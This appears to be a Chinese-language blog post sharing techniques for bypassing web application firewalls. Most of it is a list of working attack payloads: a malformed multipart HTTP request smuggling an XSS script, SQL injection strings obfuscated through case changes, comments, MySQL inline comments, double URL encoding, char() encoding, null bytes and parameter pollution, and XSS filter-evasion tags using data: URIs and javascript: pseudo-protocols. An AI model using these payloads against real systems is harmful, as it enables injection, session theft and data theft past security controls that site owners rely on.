淺談WAF繞過
因工作原因研究了幾天WAF繞過,簡單分享下WAF繞過思路。
對一些攻擊特征串進行不同的編碼,如:URL編碼,ASCII,Unicode.使用一些非標準的編碼很容易就造成WAF BYPASS.
一些字符非標準的unicode碼:
用NULL對數據截斷,經測試發現,靈活使用NULL字節可以有效避開配置為阻止包含已知攻擊字符串的請求的WAF。
有時,把使用GET方法的攻擊轉換成使用POST方法的攻擊可能會避開某些過濾。許多應用程序在整個應用程序中執行某正常規過濾,阻止已知的攻擊字符串。如果一個應用程序希望收到使用GET方法的請求,它能之對URL查詢字符串執行這種過濾。將請求轉換為使用POST就可以完全避開這種過濾。
看一個在沒有正確解析HTTP Request數據包導致的WAF繞過,觸發一個XSS:
POST /demo.php HTTP/1.0
Content-Type: multipart/form-data; boundary=0000
Content-Length: 97
–0000–
Content-Disposition: form-data; name=x’;filename=”‘;name=payload;”
<script>alert(1)</script>
–0000–
正常的HTTP應該是如下:
POST /demo.php HTTP/1.0
Content-Type: multipart/form-data; boundary=0000
Content-Length: 97
–0000–
Content-Disposition: form-data; name=”upfile”; filename=”payload”
<script>alert(1)</script>
–0000–
對比上面倆個HTTP頭,給我們提供了WAF繞過的思路,修改攻擊特征串或HTTP中的一細節,讓WAF無法解析或者解析錯誤導致繞過。(許多WAF對無法解析的HTTP頭,默認直接BYPASS)
羅列了一小部分的基本的繞過技巧(許多技巧因與工作相關無法分享,望見諒~^_^)。
這些技巧不一定能成功繞過WAF,但在許多場合下,通過一些基本技巧組合的使用,能提高繞過WAF的成功率,甚至完全BYPASS。
Sql Injection Bypass
大小寫變種:
UnIon/**/sElEcT/**/1,2,3/**/fRoM/**/Users–
使用注釋:
如上。在MySql中使用類似如下攻擊依然有效:
‘/**/UN/**/ION/**/SEL/**/ECT/**/1,2,3/**/FROM/table–
內聯內容(MySql Only):
/*!UnIoN*/SeLecT+1,2,3–
/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()–
嵌套表達式:
UNunionION+SEselectLECT+1,2,3–
編碼:
2次URL編碼:
%252f%252a*/union%252f%252a*/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users–
ASCII:
“SELECT” ASCII Encode in databases.
MySql: char(83,69,76,69,67,84)
Oracle: chr(83)||chr(69)||chr(76)||chr(69)||chr(67)||chr(84)
Ms-Sql: char(chr(83)+chr(69)+chr(76)+chr(69)+chr(67)+chr(84))
使用空字節:
%00′ union+select+1,2,3–
uni%0bon+se%0blect+1,2,3–
參數污染(ASP/ASP.NET):
id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
XSS Bypass:
腳本標簽:
<object data=”data:text/html,<script>alert(1)</script>”>
<object data=”data:text/html;base64,Jmx0O3NjcmlwdCZndDthbGVydCgxKSZsdDsvc2NyaXB0Jmd0Ow==”>
<a href=”data:text/html;base64,Jmx0O3NjcmlwdCZndDthbGVydCgxKSZsdDsvc2NyaXB0Jmd0Ow==”>xss</a>
腳本偽協議:
<object data=javascript:alert(1)>
<iframe src=javascritpt:alert(1)>
<embed src=javascript:alert(1)>
標簽名稱:
<iMg onerror=alert(1) scr=a>
<[%00]img onerror=alert(1) scr=a>
<i[%00]mg onerror=alert(1) scr=a>
對標簽名陳稍做修改,可以避開僅僅阻止特定標簽名陳的過濾:
<x onclick=alert(1) src=a>xss</x>